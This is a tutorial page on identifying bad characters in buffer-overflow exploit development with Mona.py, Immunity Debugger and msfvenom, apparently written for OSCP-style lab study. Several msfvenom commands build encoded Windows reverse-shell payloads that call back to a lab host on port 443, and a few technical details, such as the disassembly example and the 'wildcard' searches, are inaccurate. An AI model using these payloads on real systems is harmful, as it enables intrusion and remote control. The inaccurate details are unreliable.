Domain 3Exploit Dev & AV EvasionCORE

Finding Bad Characters

Complete guide to identifying and handling bad characters in exploit development. Covers the iterative testing process with Mona.py, common bad characters by protocol, and strategies for working around them.

Domain: Domain 3: Exploit Mechanics & AV Evasion•Updated: 2026-09-01
#bad-characters#bytearray#mona#shellcode#oscp

Finding Bad Characters

Table of Contents

  1. What Are Bad Characters?
  2. Why Bad Characters Matter
  3. The Default Bad Character Set
  4. The Mona Bytearray Method
  5. Finding Shellcode in Memory
  6. Comparing Memory to Original
  7. Iterative Testing Process
  8. Common Bad Characters by Protocol
  9. Working Around Bad Characters
  10. Visual Comparison of Corrupted Shellcode
  11. Troubleshooting and Edge Cases
  12. Quick Reference Cheat Sheet

What Are Bad Characters?

Definition

Bad characters are specific byte values that get modified, filtered, or dropped when transmitted through a vulnerable application’s input processing pipeline. When your shellcode contains these bytes and they are altered in transit, the shellcode becomes corrupted — leading to crashes, hangs, or silent failures when execution reaches the corrupted region.

The Root Cause: Data Interpretation Layers

Every vulnerable application processes input through multiple layers, each with its own interpretation rules:

┌─────────────────────────────────────────────────────────┐
│                  Input Processing Pipeline                │
├─────────────────────────────────────────────────────────┤
│                                                         │
│  Raw Bytes → Protocol Parser → String Handler → Buffer  │
│              → Encoding → Validation → Memory Write      │
│                                                         │
│  At ANY layer, a byte can be:                           │
│  • Dropped (silently removed)                            │
│  • Modified (changed to another value)                   │
│  • Terminated (causes early stop of processing)          │
│  • Escaped (prefixed with special character)             │
│                                                         │
└─────────────────────────────────────────────────────────┘

Why Certain Bytes Get Filtered

Layer Mechanism Example Bad Characters
Protocol-level Protocol spec defines reserved/control bytes \x00 (null), \x0a (LF), \x0d (CR)
String functions C string functions treat \x00 as terminator \x00
Line-based parsing Reads until newline character \x0a, \x0d
ASCII filtering Only allows printable ASCII (0x20-0x7E) All bytes outside this range
Hex encoding Only accepts valid hex characters Non-hex bytes
URL encoding Filters or transforms special URL chars \x2f (/), \x3f (?), \x23 (#)
Custom validation Application-specific allow/deny lists Varies

The Impact on Shellcode

Shellcode is essentially raw machine code — a sequence of bytes. It has no inherent restrictions on which bytes it contains. A typical Metasploit payload contains bytes across the entire 0x00–0xFF range:

# Example: First 32 bytes of a reverse_tcp shellcode
shellcode = (
    b"\x31\xc0\x50\x64\x8b\x70\x30\x8b\x76\x0c\x8b\x76"
    b"\x1c\x8b\x46\x08\x8b\x76\x2c\x8b\x7c\xae\x34\x8b"
)
# Contains: 0x31, 0xc0, 0x50, 0x64, 0x8b, 0x70, 0x30, ...
# If 0x0a or 0x00 are bad, this shellcode WILL break

When bad characters corrupt shellcode:

  • Instruction bytes change → CPU executes wrong instructions → crash
  • Operand values change → Pointers/addresses become invalid → crash
  • Null bytes injected → String-terminated early → partial execution → crash
  • Bytes dropped → Instruction stream shifts → complete garbage → crash

Why Bad Characters Matter

The Exploit Failure Chain

graph TD
    A[Craft Exploit with Shellcode] --> B{Contains Bad Chars?}
    B -->|No| C[Shellcode Arrives Intact]
    B -->|Yes| D[App Filters/Modifies Bytes]
    C --> E[EIP Points to Shellcode]
    D --> F[Shellcode Corrupted in Memory]
    E --> G[CPU Executes Shellcode]
    F --> G
    G --> H{Shellcode Valid?}
    H -->|Yes| I[Shellcode Runs → Shell!]
    H -->|No| J[Access Violation / Crash]
    J --> K[Exploit Fails - No Shell]

Real-World Symptoms

When bad characters are present but undetected:

  1. Immediate crash after shellcode execution begins — The first corrupted instruction causes an access violation
  2. Hang or freeze — Corrupted instruction enters an infinite loop or waits on invalid data
  3. Target restarts the service — The vulnerability triggers again, but shellcode still corrupts (appears “unreliable”)
  4. Partial execution — Some shellcode runs but fails to create a shell (e.g., socket created but no connection)
  5. Works in debugger, fails remotely — The debugger bypasses some input processing layers

The Default Bad Character Set

The “Big Three” — Always Bad

Three characters are almost universally bad across all protocols and applications:

Byte Hex Name Why It’s Bad
\x00 0x00 Null byte String terminator in C/C++. Functions like strcpy(), strcat(), strlen() stop at null. If input is processed as a string, everything after \x00 is lost.
\x0a 0x0a Line Feed (LF) Line delimiter. Line-based parsers (fgets(), getline(), readline()) treat this as end-of-input. Everything after is on a “new line” and may be processed separately or discarded.
\x0d 0x0d Carriage Return (CR) Line delimiter (Windows uses \r\n). Same issue as LF — line-based parsers stop or split at this byte.

Why These Three Are Universal

// Example: Typical vulnerable function
void vulnerable(char *input) {
    char buffer[256];
    strcpy(buffer, input);  // Stops at first \x00
    // If input contains \x0a or \x0d, line-based reading
    // already truncated the input before it reached here
}

When “Default” Bad Characters Might Not Apply

Scenario \x00 \x0a \x0d Reason
Binary protocol (raw TCP) May be OK May be OK May be OK No string/line parsing
Length-prefixed protocol May be OK May be OK May be OK Length field controls read, not delimiters
Base64-encoded input OK OK OK Encoding transforms all bytes to safe ASCII
Hex-encoded input OK OK OK Same as above

Rule of Thumb: Always start your bad character testing with \x00\x0a\x0d marked as bad. Prove they are (or aren’t) bad for your specific target — don’t assume.


The Mona Bytearray Method

Overview

Mona.py provides a systematic way to generate, inject, and compare a full bytearray (all 256 possible byte values) against what actually ends up in memory. This is the gold-standard method for identifying bad characters.

Complete Step-by-Step Workflow

Step 1: Generate the Bytearray Pattern

# In Immunity Debugger, execute Mona command:
!mona bytearray -b "\x00\x0a\x0d" -cpb "\x00\x0a\x0d"

Parameters explained:

Parameter Description
-b Bytes to exclude from the bytearray (known bad chars)
-cpb “Compare pattern bytes” — additional bytes to exclude (often same as -b)

What Mona does:

  1. Creates a bytearray containing all 256 bytes (0x00–0xFF)
  2. Removes the bytes specified in -b
  3. Saves the bytearray to bytearray.txt in Mona’s output directory
  4. Also saves a Python-formatted version for easy copy-paste into your exploit script

Output files created:

C:\mona\
├── bytearray.txt          # Raw bytearray data
├── bytearray.py           # Python-formatted shellcode variable
└── mona.log               # Log of the operation

Step 2: Extract the Bytearray for Your Exploit

# Open the generated Python file:
# C:\mona\bytearray.py

# It will look like:
buffer = ""
buffer += "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b"
buffer += "\x0c\x0e\x0f\x10\x11\x12\x13\x14\x15\x16"
# ... continues for all non-bad bytes ...
buffer += "\xfe\xff"

Copy this buffer variable and replace your shellcode in the exploit script.

Step 3: Update Your Exploit Script

# BEFORE (with actual shellcode):
# buffer += "\x90" * 16          # NOP sled
# buffer += shellcode             # Metasploit payload
# buffer += padding_to_seh        # Padding to SEH
# buffer += seh_override          # SEH override address

# AFTER (with bytearray for testing):
buffer += bytearray_pattern       # The full bytearray from mona
buffer += padding_to_seh          # Still need padding
buffer += seh_override            # Still need SEH override

Important: Keep the SEH override and any other exploit structure intact. Only replace the shellcode region with the bytearray.

Step 4: Crash the Target and Debug

  1. Run your updated exploit script against the target
  2. Let the target crash
  3. Attach Immunity Debugger (or let it auto-attach)
  4. The debugger will break on the exception

Step 5: Locate the Bytearray in Memory

# Find where the bytearray landed in memory:
!mona find -s <search_pattern> -type mem

Search pattern: Use a unique sequence from the beginning of your bytearray (avoid common bytes). Mona’s log from Step 1 tells you what pattern to search for.

Alternative — if you know the ESP/EIP region:

# Dump memory around ESP to find your bytearray:
d esp
# Look for the recognizable bytearray pattern

Step 6: Compare Memory to Original

# Once you find the bytearray in memory at address 0xXXXX:
!mona compare -a 0xXXXX -f C:\mona\bytearray.txt

What this does:

  1. Reads the original bytearray from bytearray.txt
  2. Reads the actual bytes from memory at address 0xXXXX
  3. Compares byte-by-byte
  4. Outputs a report showing which bytes were modified or missing

Step 7: Analyze the Comparison Report

Mona generates compare.txt showing:

[+] Comparing bytearray in memory with original
[+] Memory address : 0x0012F8A0
[+] File           : C:\mona\bytearray.txt
[+] Length         : 253 bytes

[+] Bad characters found:
    0x01 - was 0x01, became 0x02 (modified)
    0x05 - was 0x05, became 0x00 (modified)
    0x09 - MISSING (dropped)
    0x0b - was 0x0b, became 0x0b (OK - already excluded)
    ...

Step 8: Update Bad Character List and Repeat

# Add newly discovered bad chars to the exclusion list:
!mona bytearray -b "\x00\x01\x05\x09\x0a\x0d" -cpb "\x00\x01\x05\x09\x0a\x0d"

Then repeat Steps 2–7 until no new bad characters are found.


Finding Shellcode in Memory

After the Crash — Where Did My Data Land?

When the application crashes, your exploit data (including the bytearray or shellcode) resides in memory. You need to locate it to compare against the original.

# Search for a known byte sequence from your bytearray in all memory:
!mona find -s "\x01\x02\x03\x04\x05" -type mem

# Search with wildcards (? = any byte):
!mona find -s "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c" -type mem

Method 2: Dump ESP Region

# After crash, ESP typically points near your buffer data:
d esp

# Or dump a range:
d esp L500    # Dump 500 dwords from ESP

Method 3: Search by Known Address

# If you know the buffer is on the stack, search stack range:
!mona find -s "\x01\x02\x03\x04" -type mem -d

# Search specific module:
!mona find -s "\x01\x02\x03\x04" -type mem -m target_app.dll

Method 4: Use Mona’s “pc” (Pattern Create) Reference

# If you used cyclic pattern earlier, find offset then locate:
!mona find -s <4_byte_pattern_from_cyclic> -type mem

Tips for Successful Location

Tip Description
Use unique sequences Search for 8+ byte sequences that are unlikely to appear elsewhere
Search early bytes The beginning of your bytearray is most likely intact
Check mona.log Mona logs all search results with addresses
Use -d flag Shows detailed output including module and offset
Multiple searches If first search fails, try different sequences

Comparing Memory to Original

How mona compare Works Internally

┌──────────────────────────────────────────────────────────────┐
│                  Mona Compare Process                         │
├──────────────────────────────────────────────────────────────┤
│                                                              │
│  1. Load original bytearray from file                        │
│     └── bytearray.txt → [0x01, 0x02, 0x03, ..., 0xFF]       │
│                                                              │
│  2. Read bytes from memory at specified address              │
│     └── Read same length from 0xXXXX → [actual bytes]        │
│                                                              │
│  3. Byte-by-byte comparison                                  │
│     ┌─────────────┬──────────────┬─────────────────────┐     │
│     │ Original    │ In Memory    │ Result              │     │
│     ├─────────────┼──────────────┼─────────────────────┤     │
│     │ 0x01        │ 0x01         │ ✓ Match             │     │
│     │ 0x02        │ 0x02         │ ✓ Match             │     │
│     │ 0x03        │ 0x05         │ ✗ Modified          │     │
│     │ 0x04        │ (missing)    │ ✗ Dropped           │     │
│     │ 0x05        │ 0x04         │ ✗ Shifted           │     │
│     └─────────────┴──────────────┴─────────────────────┘     │
│                                                              │
│  4. Generate report                                          │
│     └── compare.txt with full analysis                       │
│                                                              │
└──────────────────────────────────────────────────────────────┘

Understanding the Comparison Output

[+] Mona compare report
[+] ==================

[+] Memory address : 0x0012F8A0
[+] File           : C:\mona\bytearray.txt
[+] Length original: 253 bytes
[+] Length memory  : 253 bytes

[+] Comparing...

[+] Results:
    Byte 0x00: excluded (bad char)
    Byte 0x01: OK
    Byte 0x02: OK
    Byte 0x03: OK
    Byte 0x04: OK
    Byte 0x05: BAD - was 0x05, is 0x00 in memory
    Byte 0x06: OK
    Byte 0x07: OK
    Byte 0x08: OK
    Byte 0x09: BAD - MISSING from memory (dropped)
    Byte 0x0a: excluded (bad char)
    Byte 0x0b: OK
    ...

[+] Summary:
    Total bytes compared: 253
    Matching bytes:      248
    Bad bytes found:      2  (0x05, 0x09)
    Missing bytes:       1  (0x09)

Common Comparison Scenarios

Scenario 1: Byte Modified

Original: ... 0x04 0x05 0x06 ...
Memory:   ... 0x04 0x00 0x06 ...
Result:   0x05 → 0x00 (modified to null)

Cause: Application converts certain bytes to null (common in string sanitization).

Scenario 2: Byte Dropped

Original: ... 0x04 0x05 0x06 0x07 ...
Memory:   ... 0x04 0x06 0x07 0x08 ...
Result:   0x05 MISSING, everything shifted left

Cause: Application filters out certain bytes entirely (common in protocol parsers).

Critical: When a byte is dropped (not just modified), ALL subsequent bytes shift position. This makes the comparison harder because Mona must detect the shift and realign.

Scenario 3: Byte Escaped

Original: ... 0x04 0x5c 0x06 ...   (\x5c = backslash)
Memory:   ... 0x04 0x5c 0x5c 0x06 ...
Result:   0x5c duplicated (escaped)

Cause: Application escapes special characters by doubling them.


Iterative Testing Process

The Complete Iteration Cycle

graph TD
    A[Start: Known bad = 0x00, 0x0a, 0x0d] --> B[Generate bytearray excluding known bad]
    B --> C[Insert bytearray into exploit]
    C --> D[Crash target, debug]
    D --> E[Find bytearray in memory]
    E --> F[Compare memory vs original]
    F --> G{New bad chars found?}
    G -->|Yes| H[Add new bad chars to list]
    H --> B
    G -->|No| I[All bad chars identified!]
    I --> J[Generate final shellcode without bad chars]

Round-by-Round Example

Round 1: Initial Test

# Known bad: \x00\x0a\x0d
!mona bytearray -b "\x00\x0a\x0d"

# → bytearray.txt generated with 253 bytes (256 - 3)
# → Insert into exploit, crash target
# → Find in memory, compare
# → Results:
#    0x00: excluded ✓
#    0x01: OK
#    0x02: OK
#    ...
#    0x09: BAD - missing from memory
#    0x0a: excluded ✓
#    0x0d: excluded ✓
#    0x1a: BAD - was 0x1a, became 0x00
#    ...all others OK...

# New bad chars discovered: \x09, \x1a

Round 2: Second Iteration

# Known bad: \x00\x09\x0a\x0d\x1a
!mona bytearray -b "\x00\x09\x0a\x0d\x1a"

# → bytearray.txt generated with 251 bytes
# → Insert into exploit, crash target
# → Find in memory, compare
# → Results:
#    0x00: excluded ✓
#    0x01-0x08: OK
#    0x09: excluded ✓
#    0x0a: excluded ✓
#    0x0b-0x19: OK
#    0x1a: excluded ✓
#    0x1b-0xff: OK
#    NO NEW BAD CHARACTORS FOUND

# Bad character list is complete!
# Re-run with the same list to confirm:
!mona bytearray -b "\x00\x09\x0a\x0d\x1a"

# → Same results, no new bad chars
# → Confirmed: Final bad char list = [\x00, \x09, \x0a, \x0d, \x1a]

Decision Matrix: When to Stop Iterating

Condition Action
No new bad chars found in current round Stop — list is complete
Same bad chars found repeatedly Stop — already excluded, working correctly
New bad char found Continue — add to list, regenerate, repeat
Comparison fails (can’t find bytearray) Troubleshoot — check memory address, search pattern
Only 1-2 bytes remaining to test Run one more round to confirm

Common Bad Characters by Protocol

Protocol-Specific Bad Character Reference

Protocol Common Bad Characters Reason
FTP \x00, \x0a, \x0d Text-based protocol, line-delimited commands
HTTP \x00, \x0a, \x0d Header parsing stops at CRLF; null terminates strings
HTTP (URL) \x00, \x20, \x22, \x23, \x25, \x2f, \x3c, \x3e, \x3f URL encoding/reserved characters
HTTP (POST body) \x00 Often the only bad char in body data
TFTP \x00 Null-terminated filenames and modes
SIP \x00, \x0a, \x0d Text-based, CRLF-delimited
SMTP \x00, \x0a, \x0d Text-based, CRLF-delimited
SNMP \x00 Null-terminated community strings
DNS \x00 Null-terminated labels
Binary protocol Varies Often fewer bad chars; test to find
Custom (length-prefixed) Often none Length field controls parsing

Detailed Protocol Analysis

FTP (File Transfer Protocol)

Bad chars: \x00 \x0a \x0d

Why:
- FTP commands are text strings terminated by CRLF (\r\n)
- Server reads until \x0d\x0a to parse each command
- \x00 terminates C string functions used internally
- Some FTP servers also filter: \x20 (space) in certain contexts

Example:
USER admin\x0aPASSWORD pass   → Server sees:
  Command 1: "USER admin"     (stops at \x0a)
  Command 2: "PASSWORD pass"  (processed separately)

HTTP

Bad chars (headers): \x00 \x0a \x0d

Why:
- HTTP headers separated by CRLF
- Header injection possible with \x0a\x0d
- \x00 terminates string processing

Bad chars (URL path): \x00 \x2f \x3f \x23 \x25

Why:
- \x2f (/) — path separator
- \x3f (?) — query string delimiter
- \x23 (#) — fragment identifier
- \x25 (%) — URL encoding prefix

Bad chars (POST body): Often only \x00

Why:
- Body is typically raw binary
- Less filtering than headers/URL
- Null byte still problematic in C-based servers

TFTP (Trivial File Transfer Protocol)

Bad chars: \x00

Why:
- TFTP uses null-terminated strings for filename and mode
- Filename field: null-terminated
- Mode field: null-terminated ("netascii" or "octet")
- After filename+null+mode+null, data is raw (no bad chars)

Strategy:
- If injecting into filename: avoid \x00
- If injecting into data block: likely no bad chars

SIP (Session Initiation Protocol)

Bad chars: \x00 \x0a \x0d

Why:
- Text-based protocol (like HTTP)
- Messages use CRLF line endings
- Headers are key:value pairs on separate lines
- \x00 terminates internal string handling

Additional considerations:
- SIP URIs have their own encoding rules
- Some implementations filter: \x22 (quote), \x3b (semicolon)

Custom/Binary Protocols

For proprietary or binary protocols, there is no reliable prediction. You must test:

# Start with minimal assumptions:
!mona bytearray -b "\x00"

# Often binary protocols have:
# - No bad characters at all (length-prefixed)
# - Only \x00 (null-terminated fields)
# - Protocol-specific control bytes

Working Around Bad Characters

Strategy 1: Encoder Selection (Metasploit)

Different encoders produce shellcode with different byte compositions:

Encoder Bad Char Avoidance Reliability Size Impact
x86/shikata_ga_nai Excellent — polymorphic, avoids most bad chars High +20-40%
x86/jmp_call_additive Good — XOR-based High +15-25%
x86/call4_add_sub Good Medium +15-25%
x86/fnstenv_mov Fair Medium +10-20%
x86/alpha_mixed Excellent — ASCII-only High +50-100%
x86/alpha_upper Excellent — uppercase ASCII only High +50-100%
x86/nonalpha Excellent — non-printable only Medium +50-100%

Using Encoders with Bad Character Constraints

# Generate shellcode avoiding specific bad characters:
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.3 LPORT=443 \
    -b "\x00\x0a\x0d\x09\x1a" \
    -e x86/shikata_ga_nai \
    -f python \
    -o shellcode.py

# Multiple encoder passes for better obfuscation:
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.3 LPORT=443 \
    -b "\x00\x0a\x0d" \
    -e x86/shikata_ga_nai -i 3 \
    -f python

Encoder selection strategy:

Many bad chars (>10)?
  → Use alpha_mixed or alpha_upper (ASCII-only shellcode)

Few bad chars (<5)?
  → Use shikata_ga_nai (polymorphic, reliable)

Specific bad chars in critical ranges?
  → Use jmp_call_additive (XOR-based, flexible)

Need small size?
  → Use fnstenv_mov or minimal encoder passes

Strategy 2: Payload Selection

Different payloads produce different shellcode byte distributions:

Payload Typical Size Bad Char Likelihood Notes
windows/shell_reverse_tcp ~350 bytes Medium Standard choice
windows/meterpreter/reverse_tcp ~3000+ bytes High Large, more bytes to avoid
windows/exec ~200 bytes Low Smaller, fewer bad chars
windows/shell_bind_tcp ~350 bytes Medium Bind variant
windows/download_exec ~300 bytes Low Downloads and runs

Strategy 3: Manual Shellcode Modification

When encoders don’t work or you need precise control:

# Example: Manually fix a null byte in shellcode
# Original instruction: xor eax, eax  (\x31\xc0) — no nulls, OK
# Problematic: mov eax, 0x00000000  (\xb8\x00\x00\x00\x00) — has nulls!

# Replace with equivalent without nulls:
# xor eax, eax  (\x31\xc0) — same effect, no null bytes

# Another example: Replace immediate values
# mov al, 0x0a  (\xb0\x0a) — contains \x0a (bad!)
# Replace with:
# mov al, 0x09  (\xb0\x09)
# inc al        (\xfe\xc0)  — now al = 0x0a, no bad bytes in code

Strategy 4: Custom Shellcode

For extreme cases, write custom shellcode that avoids specific bytes:

; Example: Custom reverse shell avoiding \x00, \x0a, \x0d
; Use techniques like:
; - XOR encoding for immediate values
; - Increment/decrement to reach target values
; - Register manipulation instead of direct loads

global _start
_start:
    ; Instead of: mov al, 0x0a (bad char)
    ; Use:
    xor eax, eax        ; eax = 0 (no bad chars: \x31\xc0)
    mov al, 0x09        ; al = 9
    inc al              ; al = 10 (0x0a achieved without the byte)

Strategy 5: Alternative Attack Vectors

If bad characters make shellcode injection impossible:

Approach Description When to Use
ROP chains Return-oriented programming instead of shellcode Very restrictive bad chars, DEP enabled
Process hollowing Inject into existing process Shellcode can’t land in target
DLL hijacking Replace legitimate DLL Can write files to disk
SEH overwrite → pop/pop/ret Use SEH handler instead of EIP Stack-based, SEH available
Format string → arbitrary write Write controlled data Format string vulnerability

Visual Comparison of Corrupted Shellcode

Side-by-Side: Original vs. Corrupted

┌─────────────────────────────────────────────────────────────────────┐
│                    Shellcode Comparison View                         │
├──────────────────┬──────────────────┬───────────────────────────────┤
│   Original       │   In Memory      │   Analysis                    │
│   (bytearray)    │   (after crash)  │                               │
├──────────────────┼──────────────────┼───────────────────────────────┤
│ 01 02 03 04 05   │ 01 02 03 04 00   │ 0x05 → 0x00 (modified)        │
│ 06 07 08 09 0b   │ 06 07 08         │ 0x09 MISSING (dropped)         │
│ 0c 0d 0e 0f 10   │ 0b 0c 0e 0f 10  │ 0x0d excluded, shift occurred  │
│ 11 12 13 14 15   │ 11 12 13 14 15  │ OK                            │
│ 16 17 18 19 1a   │ 16 17 18 19 1a  │ OK                            │
│ 1b 1c 1d 1e 1f   │ 1b 1c 1d 1e 1f  │ OK                            │
├──────────────────┴──────────────────┴───────────────────────────────┤
│                                                                     │
│  Bad characters identified: \x05 (modified), \x09 (dropped)         │
│  Already known: \x00, \x0a, \x0d                                    │
│                                                                     │
└─────────────────────────────────────────────────────────────────────┘

What Corrupted Shellcode Looks Like in a Debugger

; Original shellcode (first instruction):
; 31 c0           xor eax, eax
; 50              push eax
; 64 8b 70 30     mov esi, dword ptr fs:[eax+30h]

; In memory (if \xc0 is a bad char and becomes \x00):
; 31 00           xor [ecx], al        ← WRONG INSTRUCTION!
; 50              push eax
; ...

; CPU tries to execute "xor [ecx], al"
; ecx contains garbage → Access Violation at 0x00000000

Mona Comparison Output Visualization

Bytearray comparison results:
=============================

Position  Original  Memory    Status    Detail
────────  ────────  ──────    ──────    ─────────────────────
0x0000    0x01      0x01      ✓ OK
0x0001    0x02      0x02      ✓ OK
0x0002    0x03      0x03      ✓ OK
0x0003    0x04      0x04      ✓ OK
0x0004    0x05      0x00      ✗ BAD   Modified: 0x05→0x00
0x0005    0x06      0x06      ✓ OK
0x0006    0x07      0x07      ✓ OK
0x0007    0x08      0x08      ✓ OK
0x0008    0x09      —         ✗ BAD   Dropped from memory
0x0009    0x0b      0x0b      ✓ OK    (0x0a was excluded)
0x000a    0x0c      0x0c      ✓ OK
...

Troubleshooting and Edge Cases

Problem 1: Cannot Find Bytearray in Memory

Symptoms:

  • !mona find returns no results
  • Memory dump shows no recognizable pattern

Solutions:

# 1. Try different search patterns
!mona find -s "\x01\x02\x03\x04" -type mem
!mona find -s "\x05\x06\x07\x08" -type mem

# 2. Search with wildcards
!mona find -s "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c" -type mem

# 3. Check if the crash happened at all
#    - Verify EIP/SEH override worked
#    - Check if buffer actually landed on stack

# 4. Dump the entire stack
d esp L1000

# 5. Check mona.log for search results
#    Mona logs all findings even if CLI output is truncated

Problem 2: False Positives in Comparison

Symptoms:

  • Mona reports bytes as “bad” but they appear OK in manual inspection
  • Comparison shows mismatches that don’t make sense

Causes and Solutions:

Cause Solution
Bytearray shifted in memory Ensure you’re comparing at the correct offset. Use a unique marker before the bytearray.
Memory overwritten after crash Set breakpoints earlier. Compare immediately after crash, before any cleanup code runs.
Mona reading wrong address Double-check the memory address. Use d <address> to visually verify the bytearray is there.
Partial bytearray in memory If only part of the bytearray made it, the comparison length mismatch causes false results.

Problem 3: Incomplete Testing

Symptoms:

  • Some bytes never appear in the bytearray
  • Comparison seems to skip certain ranges

Solutions:

# Verify bytearray completeness:
# 1. Check bytearray.txt length
#    256 bytes - known_bad_count = expected_length

# 2. Verify in Mona log:
#    "[+] Bytearray written to: bytearray.txt"
#    "[+] Length: XXX bytes"

# 3. Manually check the Python output:
#    Open bytearray.py and verify all expected bytes are present

Problem 4: When to Stop Iterating

Stop when:

  • A full iteration produces zero new bad characters
  • You’ve verified with a second consecutive clean iteration
  • The bad character list stabilizes

Don’t stop when:

  • You found bad chars in the last round (need another round)
  • The comparison failed (need to troubleshoot, not stop)
  • You’ve only done one round (minimum two clean rounds recommended)

Problem 5: Bad Characters Change Between Runs

Symptoms:

  • Same byte is bad in one run but OK in another
  • Inconsistent results

Causes:

  • Race conditions in the target application
  • Different code paths based on input content
  • Buffer position matters — same byte at different offsets processed differently

Solution:

  • Run multiple times and take the union of all bad characters found
  • If inconsistent, the vulnerability may not be reliable for exploitation

Quick Reference Cheat Sheet

Mona Commands Summary

# Generate bytearray (exclude known bad chars)
!mona bytearray -b "\x00\x0a\x0d"

# Find data in memory
!mona find -s <bytes> -type mem

# Compare memory to file
!mona compare -a <address> -f <filepath>

# Generate NOP sled
!mona nop

# Generate pattern for offset calculation
!mona pc <length>

# Calculate offset from pattern
!mona po <4_byte_pattern>

Bad Character Testing Checklist

□ 1. Start with default bad chars: \x00\x0a\x0d
□ 2. Generate bytearray: !mona bytearray -b "\x00\x0a\x0d"
□ 3. Copy bytearray to exploit script (replace shellcode)
□ 4. Crash target, attach debugger
□ 5. Find bytearray in memory: !mona find -s <pattern> -type mem
□ 6. Compare: !mona compare -a <addr> -f bytearray.txt
□ 7. Review compare.txt for new bad chars
□ 8. If new bad chars found: add to -b list, go to step 2
□ 9. If no new bad chars: verify with one more clean round
□ 10. Generate final shellcode: msfvenom -b "<bad_chars>"
□ 11. Test final exploit with real shellcode

msfvenom Bad Character Syntax

# Single bad char:
-b "\x00"

# Multiple bad chars:
-b "\x00\x0a\x0d"

# With encoder:
-b "\x00\x0a\x0d" -e x86/shikata_ga_nai

# Multiple encoder passes:
-b "\x00\x0a\x0d" -e x86/shikata_ga_nai -i 3

# Full example:
msfvenom -p windows/shell_reverse_tcp \
    LHOST=10.10.14.3 LPORT=443 \
    -b "\x00\x09\x0a\x0d\x1a" \
    -e x86/shikata_ga_nai \
    -f python \
    -v shellcode \
    -o shellcode.py

Common Bad Character Patterns by Vulnerability Type

Vulnerability Type Likely Bad Chars Testing Priority
Stack buffer overflow (string) \x00\x0a\x0d Start here
Stack buffer overflow (binary) \x00 or none Test full range
Heap overflow \x00 Often only null
SEH overflow \x00\x0a\x0d Same as stack
Format string \x00 Null terminates format string
Unicode overflow \x00 in odd positions Unicode encoding specific
HTTP header injection \x00\x0a\x0d Standard text protocol
Custom binary protocol Unknown Full test required

Summary

Finding bad characters is a systematic, iterative process that is essential for reliable exploit development. The key principles:

  1. Start with the defaults — \x00, \x0a, \x0d are almost always bad
  2. Use Mona’s bytearray method — it provides the most reliable, automated testing
  3. Iterate until stable — keep testing until a full round produces no new bad characters
  4. Verify with a clean round — run one more iteration to confirm the list is complete
  5. Generate clean shellcode — use msfvenom with the -b flag and appropriate encoder
  6. Test the final exploit — bad character elimination is complete only when the real shellcode executes successfully

The time invested in thorough bad character testing pays dividends in exploit reliability. A well-tested exploit that accounts for all bad characters will work consistently, while a rushed exploit with untested bad characters will fail unpredictably.


Last updated: 2026-09-01